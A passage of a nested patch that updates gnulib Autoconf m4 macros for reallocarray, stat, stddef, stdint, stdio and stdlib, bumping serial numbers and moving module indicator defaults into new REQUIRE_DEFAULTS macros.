++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX])
++ if test $REPLACE_MALLOC = 1; then
++ REPLACE_REALLOC=1
++ fi
++])
+--- /dev/null
++++ b/gnulib/m4/reallocarray.m4
+@@ -0,0 +1,23 @@
++# reallocarray.m4 serial 3
++dnl Copyright (C) 2017-2021 Free Software Foundation, Inc.
++dnl This file is free software; the Free Software Foundation
++dnl gives unlimited permission to copy and/or distribute it,
++dnl with or without modifications, as long as this notice is preserved.
++
++AC_DEFUN([gl_FUNC_REALLOCARRAY],
++[
++ dnl Persuade glibc <stdlib.h> to declare reallocarray.
++ AC_REQUIRE([gl_USE_SYSTEM_EXTENSIONS])
++
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_CHECK_MALLOC_PTRDIFF])
++ AC_CHECK_FUNCS([reallocarray])
++ if test "$ac_cv_func_reallocarray" = no; then
++ HAVE_REALLOCARRAY=0
++ elif test "$gl_cv_malloc_ptrdiff" = no; then
++ REPLACE_REALLOCARRAY=1
++ fi
++])
++
++# Prerequisites of lib/reallocarray.c.
++AC_DEFUN([gl_PREREQ_REALLOCARRAY], [:])
+--- a/gnulib/m4/stat.m4
++++ b/gnulib/m4/stat.m4
+@@ -1,4 +1,4 @@
+-# serial 17
++# serial 18
+
+ # Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ #
+@@ -69,7 +69,7 @@ AC_DEFUN([gl_FUNC_STAT],
+
+ # Prerequisites of lib/stat.c and lib/stat-w32.c.
+ AC_DEFUN([gl_PREREQ_STAT], [
+- AC_REQUIRE([gl_HEADER_SYS_STAT_H])
++ AC_REQUIRE([gl_SYS_STAT_H])
+ AC_REQUIRE([gl_PREREQ_STAT_W32])
+ :
+ ])
+--- a/gnulib/m4/stddef_h.m4
++++ b/gnulib/m4/stddef_h.m4
+@@ -1,4 +1,4 @@
+-# stddef_h.m4 serial 9
++# stddef_h.m4 serial 11
+ dnl Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,7 +6,7 @@ dnl with or without modifications, as lo
+
+ dnl A placeholder for <stddef.h>, for platforms that have issues.
+
+-AC_DEFUN([gl_STDDEF_H],
++AC_DEFUN_ONCE([gl_STDDEF_H],
+ [
+ AC_REQUIRE([gl_STDDEF_H_DEFAULTS])
+ AC_REQUIRE([gt_TYPE_WCHAR_T])
+@@ -68,13 +68,28 @@ AC_DEFUN([gl_STDDEF_H],
+ fi
+ ])
+
++# gl_STDDEF_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STDDEF_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_STDDEF_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STDDEF_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STDDEF_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STDDEF_H_MODULE_INDICATOR_DEFAULTS], [
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STDDEF_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STDDEF_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_STDDEF_H_DEFAULTS],
+ [
+ dnl Assume proper GNU behavior unless another module says otherwise.
+--- a/gnulib/m4/stdint.m4
++++ b/gnulib/m4/stdint.m4
+@@ -1,4 +1,4 @@
+-# stdint.m4 serial 58
++# stdint.m4 serial 60
+ dnl Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -170,7 +170,7 @@ struct s {
+ PTRDIFF_MIN == TYPE_MINIMUM (ptrdiff_t)
+ && PTRDIFF_MAX == TYPE_MAXIMUM (ptrdiff_t)
+ ? 1 : -1;
+- /* Detect bug in FreeBSD 6.0 / ia64. */
++ /* Detect bug in FreeBSD 6.0/ia64 and FreeBSD 13.0/arm64. */
+ int check_SIG_ATOMIC:
+ SIG_ATOMIC_MIN == TYPE_MINIMUM (sig_atomic_t)
+ && SIG_ATOMIC_MAX == TYPE_MAXIMUM (sig_atomic_t)
+@@ -527,7 +527,7 @@ AC_DEFUN([gl_STDINT_TYPE_PROPERTIES],
+ dnl requirement that wint_t is "unchanged by default argument promotions".
+ dnl In this case gnulib's <wchar.h> and <wctype.h> override wint_t.
+ dnl Set the variable BITSIZEOF_WINT_T accordingly.
+- if test $GNULIB_OVERRIDES_WINT_T = 1; then
++ if test $GNULIBHEADERS_OVERRIDE_WINT_T = 1; then
+ BITSIZEOF_WINT_T=32
+ fi
+ ])
+--- a/gnulib/m4/stdio_h.m4
++++ b/gnulib/m4/stdio_h.m4
+@@ -1,11 +1,12 @@
+-# stdio_h.m4 serial 52
++# stdio_h.m4 serial 56
+ dnl Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_STDIO_H],
++AC_DEFUN_ONCE([gl_STDIO_H],
+ [
++ AC_REQUIRE([gl_STDIO_H_DEFAULTS])
+ AH_VERBATIM([MINGW_ANSI_STDIO],
+ [/* Use GNU style printf and scanf. */
+ #ifndef __USE_MINGW_ANSI_STDIO
+@@ -13,7 +14,6 @@ AC_DEFUN([gl_STDIO_H],
+ #endif
+ ])
+ AC_DEFINE([__USE_MINGW_ANSI_STDIO])
+- AC_REQUIRE([gl_STDIO_H_DEFAULTS])
+ gl_NEXT_HEADERS([stdio.h])
+
+ dnl Determine whether __USE_MINGW_ANSI_STDIO makes printf and
+@@ -40,17 +40,6 @@ AC_DEFUN([gl_STDIO_H],
+ attribute "__gnu_printf__" instead of "__printf__"])
+ fi
+
+- dnl No need to create extra modules for these functions. Everyone who uses
+- dnl <stdio.h> likely needs them.
+- GNULIB_FSCANF=1
+- gl_MODULE_INDICATOR([fscanf])
+- GNULIB_SCANF=1
+- gl_MODULE_INDICATOR([scanf])
+- GNULIB_FGETC=1
+- GNULIB_GETC=1
+- GNULIB_GETCHAR=1
+- GNULIB_FGETS=1
+- GNULIB_FREAD=1
+ dnl This ifdef is necessary to avoid an error "missing file lib/stdio-read.c"
+ dnl "expected source file, required through AC_LIBSOURCES, not found". It is
+ dnl also an optimization, to avoid performing a configure check whose result
+@@ -64,18 +53,6 @@ AC_DEFUN([gl_STDIO_H],
+ fi
+ ])
+
+- dnl No need to create extra modules for these functions. Everyone who uses
+- dnl <stdio.h> likely needs them.
+- GNULIB_FPRINTF=1
+- GNULIB_PRINTF=1
+- GNULIB_VFPRINTF=1
+- GNULIB_VPRINTF=1
+- GNULIB_FPUTC=1
+- GNULIB_PUTC=1
+- GNULIB_PUTCHAR=1
+- GNULIB_FPUTS=1
+- GNULIB_PUTS=1
+- GNULIB_FWRITE=1
+ dnl This ifdef is necessary to avoid an error "missing file lib/stdio-write.c"
+ dnl "expected source file, required through AC_LIBSOURCES, not found". It is
+ dnl also an optimization, to avoid performing a configure check whose result
+@@ -116,77 +93,92 @@ AC_DEFUN([gl_STDIO_H],
+ fi
+ ])
+
++# gl_STDIO_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STDIO_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_STDIO_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STDIO_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STDIO_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STDIO_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCLOSE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FDOPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFLUSH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FGETC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FGETS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FOPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPURGE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPUTC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPUTS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FREAD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FREOPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSCANF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSEEK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSEEKO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FTELL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FTELLO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FWRITE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETCHAR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETDELIM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLINE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OBSTACK_PRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OBSTACK_PRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PCLOSE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PERROR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_POPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTCHAR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REMOVE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RENAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RENAMEAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SCANF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SNPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SPRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STDIO_H_NONBLOCKING])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STDIO_H_SIGPIPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TMPFILE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VASPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VFSCANF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VSCANF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VDPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VFPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VFPRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VPRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VSNPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VSPRINTF_POSIX])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FCLOSEALL], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FDOPEN], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FILENO], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GETW], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_PUTW], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_TEMPNAM], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STDIO_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STDIO_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_STDIO_H_DEFAULTS],
+ [
+- GNULIB_DPRINTF=0; AC_SUBST([GNULIB_DPRINTF])
+- GNULIB_FCLOSE=0; AC_SUBST([GNULIB_FCLOSE])
+- GNULIB_FDOPEN=0; AC_SUBST([GNULIB_FDOPEN])
+- GNULIB_FFLUSH=0; AC_SUBST([GNULIB_FFLUSH])
+- GNULIB_FGETC=0; AC_SUBST([GNULIB_FGETC])
+- GNULIB_FGETS=0; AC_SUBST([GNULIB_FGETS])
+- GNULIB_FOPEN=0; AC_SUBST([GNULIB_FOPEN])
+- GNULIB_FPRINTF=0; AC_SUBST([GNULIB_FPRINTF])
+- GNULIB_FPRINTF_POSIX=0; AC_SUBST([GNULIB_FPRINTF_POSIX])
+- GNULIB_FPURGE=0; AC_SUBST([GNULIB_FPURGE])
+- GNULIB_FPUTC=0; AC_SUBST([GNULIB_FPUTC])
+- GNULIB_FPUTS=0; AC_SUBST([GNULIB_FPUTS])
+- GNULIB_FREAD=0; AC_SUBST([GNULIB_FREAD])
+- GNULIB_FREOPEN=0; AC_SUBST([GNULIB_FREOPEN])
+- GNULIB_FSCANF=0; AC_SUBST([GNULIB_FSCANF])
+- GNULIB_FSEEK=0; AC_SUBST([GNULIB_FSEEK])
+- GNULIB_FSEEKO=0; AC_SUBST([GNULIB_FSEEKO])
+- GNULIB_FTELL=0; AC_SUBST([GNULIB_FTELL])
+- GNULIB_FTELLO=0; AC_SUBST([GNULIB_FTELLO])
+- GNULIB_FWRITE=0; AC_SUBST([GNULIB_FWRITE])
+- GNULIB_GETC=0; AC_SUBST([GNULIB_GETC])
+- GNULIB_GETCHAR=0; AC_SUBST([GNULIB_GETCHAR])
+- GNULIB_GETDELIM=0; AC_SUBST([GNULIB_GETDELIM])
+- GNULIB_GETLINE=0; AC_SUBST([GNULIB_GETLINE])
+- GNULIB_OBSTACK_PRINTF=0; AC_SUBST([GNULIB_OBSTACK_PRINTF])
+- GNULIB_OBSTACK_PRINTF_POSIX=0; AC_SUBST([GNULIB_OBSTACK_PRINTF_POSIX])
+- GNULIB_PCLOSE=0; AC_SUBST([GNULIB_PCLOSE])
+- GNULIB_PERROR=0; AC_SUBST([GNULIB_PERROR])
+- GNULIB_POPEN=0; AC_SUBST([GNULIB_POPEN])
+- GNULIB_PRINTF=0; AC_SUBST([GNULIB_PRINTF])
+- GNULIB_PRINTF_POSIX=0; AC_SUBST([GNULIB_PRINTF_POSIX])
+- GNULIB_PUTC=0; AC_SUBST([GNULIB_PUTC])
+- GNULIB_PUTCHAR=0; AC_SUBST([GNULIB_PUTCHAR])
+- GNULIB_PUTS=0; AC_SUBST([GNULIB_PUTS])
+- GNULIB_REMOVE=0; AC_SUBST([GNULIB_REMOVE])
+- GNULIB_RENAME=0; AC_SUBST([GNULIB_RENAME])
+- GNULIB_RENAMEAT=0; AC_SUBST([GNULIB_RENAMEAT])
+- GNULIB_SCANF=0; AC_SUBST([GNULIB_SCANF])
+- GNULIB_SNPRINTF=0; AC_SUBST([GNULIB_SNPRINTF])
+- GNULIB_SPRINTF_POSIX=0; AC_SUBST([GNULIB_SPRINTF_POSIX])
+- GNULIB_STDIO_H_NONBLOCKING=0; AC_SUBST([GNULIB_STDIO_H_NONBLOCKING])
+- GNULIB_STDIO_H_SIGPIPE=0; AC_SUBST([GNULIB_STDIO_H_SIGPIPE])
+- GNULIB_TMPFILE=0; AC_SUBST([GNULIB_TMPFILE])
+- GNULIB_VASPRINTF=0; AC_SUBST([GNULIB_VASPRINTF])
+- GNULIB_VFSCANF=0; AC_SUBST([GNULIB_VFSCANF])
+- GNULIB_VSCANF=0; AC_SUBST([GNULIB_VSCANF])
+- GNULIB_VDPRINTF=0; AC_SUBST([GNULIB_VDPRINTF])
+- GNULIB_VFPRINTF=0; AC_SUBST([GNULIB_VFPRINTF])
+- GNULIB_VFPRINTF_POSIX=0; AC_SUBST([GNULIB_VFPRINTF_POSIX])
+- GNULIB_VPRINTF=0; AC_SUBST([GNULIB_VPRINTF])
+- GNULIB_VPRINTF_POSIX=0; AC_SUBST([GNULIB_VPRINTF_POSIX])
+- GNULIB_VSNPRINTF=0; AC_SUBST([GNULIB_VSNPRINTF])
+- GNULIB_VSPRINTF_POSIX=0; AC_SUBST([GNULIB_VSPRINTF_POSIX])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_FCLOSEALL=1; AC_SUBST([GNULIB_MDA_FCLOSEALL])
+- GNULIB_MDA_FDOPEN=1; AC_SUBST([GNULIB_MDA_FDOPEN])
+- GNULIB_MDA_FILENO=1; AC_SUBST([GNULIB_MDA_FILENO])
+- GNULIB_MDA_GETW=1; AC_SUBST([GNULIB_MDA_GETW])
+- GNULIB_MDA_PUTW=1; AC_SUBST([GNULIB_MDA_PUTW])
+- GNULIB_MDA_TEMPNAM=1; AC_SUBST([GNULIB_MDA_TEMPNAM])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_DECL_FCLOSEALL=1; AC_SUBST([HAVE_DECL_FCLOSEALL])
+ HAVE_DECL_FPURGE=1; AC_SUBST([HAVE_DECL_FPURGE])
+--- a/gnulib/m4/stdlib_h.m4
++++ b/gnulib/m4/stdlib_h.m4
+@@ -1,10 +1,10 @@
+-# stdlib_h.m4 serial 55
++# stdlib_h.m4 serial 63
+ dnl Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_STDLIB_H],
++AC_DEFUN_ONCE([gl_STDLIB_H],
+ [
+ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
+ gl_NEXT_HEADERS([stdlib.h])
+@@ -28,7 +28,7 @@ AC_DEFUN([gl_STDLIB_H],
+ posix_memalign posix_openpt ptsname ptsname_r qsort_r
+ random random_r reallocarray realpath rpmatch secure_getenv setenv
+ setstate setstate_r srandom srandom_r
+- strtod strtold strtoll strtoull unlockpt unsetenv])
++ strtod strtol strtold strtoll strtoul strtoull unlockpt unsetenv])
+
+ AC_REQUIRE([AC_C_RESTRICT])
+
+@@ -46,61 +46,78 @@ AC_DEFUN([gl_STDLIB_H],
+ fi
+ ])
+
++# gl_STDLIB_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STDLIB_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STDLIB_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STDLIB_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STDLIB_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB__EXIT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ALIGNED_ALLOC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ATOLL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CALLOC_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CANONICALIZE_FILE_NAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FREE_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLOADAVG])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETSUBOPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GRANTPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MALLOC_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBTOWC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKDTEMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKOSTEMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKOSTEMPS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKSTEMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKSTEMPS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_POSIX_MEMALIGN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_POSIX_OPENPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PTSNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PTSNAME_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTENV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_QSORT_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RANDOM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RANDOM_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REALLOCARRAY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REALLOC_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REALPATH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RPMATCH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SECURE_GETENV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETENV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOLD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOLL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOUL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOULL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SYSTEM_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNLOCKPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNSETENV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTOMB])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_ECVT], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FCVT], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GCVT], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_MKTEMP], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_PUTENV], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STDLIB_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_STDLIB_H_DEFAULTS],
+ [
+- GNULIB__EXIT=0; AC_SUBST([GNULIB__EXIT])
+- GNULIB_ALIGNED_ALLOC=0; AC_SUBST([GNULIB_ALIGNED_ALLOC])
+- GNULIB_ATOLL=0; AC_SUBST([GNULIB_ATOLL])
+- GNULIB_CALLOC_POSIX=0; AC_SUBST([GNULIB_CALLOC_POSIX])
+- GNULIB_CANONICALIZE_FILE_NAME=0; AC_SUBST([GNULIB_CANONICALIZE_FILE_NAME])
+- GNULIB_FREE_POSIX=0; AC_SUBST([GNULIB_FREE_POSIX])
+- GNULIB_GETLOADAVG=0; AC_SUBST([GNULIB_GETLOADAVG])
+- GNULIB_GETSUBOPT=0; AC_SUBST([GNULIB_GETSUBOPT])
+- GNULIB_GRANTPT=0; AC_SUBST([GNULIB_GRANTPT])
+- GNULIB_MALLOC_POSIX=0; AC_SUBST([GNULIB_MALLOC_POSIX])
+- GNULIB_MBTOWC=0; AC_SUBST([GNULIB_MBTOWC])
+- GNULIB_MKDTEMP=0; AC_SUBST([GNULIB_MKDTEMP])
+- GNULIB_MKOSTEMP=0; AC_SUBST([GNULIB_MKOSTEMP])
+- GNULIB_MKOSTEMPS=0; AC_SUBST([GNULIB_MKOSTEMPS])
+- GNULIB_MKSTEMP=0; AC_SUBST([GNULIB_MKSTEMP])
+- GNULIB_MKSTEMPS=0; AC_SUBST([GNULIB_MKSTEMPS])
+- GNULIB_POSIX_MEMALIGN=0;AC_SUBST([GNULIB_POSIX_MEMALIGN])
+- GNULIB_POSIX_OPENPT=0; AC_SUBST([GNULIB_POSIX_OPENPT])
+- GNULIB_PTSNAME=0; AC_SUBST([GNULIB_PTSNAME])
+- GNULIB_PTSNAME_R=0; AC_SUBST([GNULIB_PTSNAME_R])
+- GNULIB_PUTENV=0; AC_SUBST([GNULIB_PUTENV])
+- GNULIB_QSORT_R=0; AC_SUBST([GNULIB_QSORT_R])
+- GNULIB_RANDOM=0; AC_SUBST([GNULIB_RANDOM])
+- GNULIB_RANDOM_R=0; AC_SUBST([GNULIB_RANDOM_R])
+- GNULIB_REALLOCARRAY=0; AC_SUBST([GNULIB_REALLOCARRAY])
+- GNULIB_REALLOC_POSIX=0; AC_SUBST([GNULIB_REALLOC_POSIX])
+- GNULIB_REALPATH=0; AC_SUBST([GNULIB_REALPATH])
+- GNULIB_RPMATCH=0; AC_SUBST([GNULIB_RPMATCH])
+- GNULIB_SECURE_GETENV=0; AC_SUBST([GNULIB_SECURE_GETENV])
+- GNULIB_SETENV=0; AC_SUBST([GNULIB_SETENV])
+- GNULIB_STRTOD=0; AC_SUBST([GNULIB_STRTOD])
+- GNULIB_STRTOLD=0; AC_SUBST([GNULIB_STRTOLD])
+- GNULIB_STRTOLL=0; AC_SUBST([GNULIB_STRTOLL])
+- GNULIB_STRTOULL=0; AC_SUBST([GNULIB_STRTOULL])
+- GNULIB_SYSTEM_POSIX=0; AC_SUBST([GNULIB_SYSTEM_POSIX])
+- GNULIB_UNLOCKPT=0; AC_SUBST([GNULIB_UNLOCKPT])
+- GNULIB_UNSETENV=0; AC_SUBST([GNULIB_UNSETENV])
+- GNULIB_WCTOMB=0; AC_SUBST([GNULIB_WCTOMB])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_ECVT=1; AC_SUBST([GNULIB_MDA_ECVT])
+- GNULIB_MDA_FCVT=1; AC_SUBST([GNULIB_MDA_FCVT])
+- GNULIB_MDA_GCVT=1; AC_SUBST([GNULIB_MDA_GCVT])
+- GNULIB_MDA_MKTEMP=1; AC_SUBST([GNULIB_MDA_MKTEMP])
+- GNULIB_MDA_PUTENV=1; AC_SUBST([GNULIB_MDA_PUTENV])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE__EXIT=1; AC_SUBST([HAVE__EXIT])
+ HAVE_ALIGNED_ALLOC=1; AC_SUBST([HAVE_ALIGNED_ALLOC])
+@@ -137,8 +154,10 @@ AC_DEFUN([gl_STDLIB_H_DEFAULTS],
+ HAVE_SETSTATE=1; AC_SUBST([HAVE_SETSTATE])
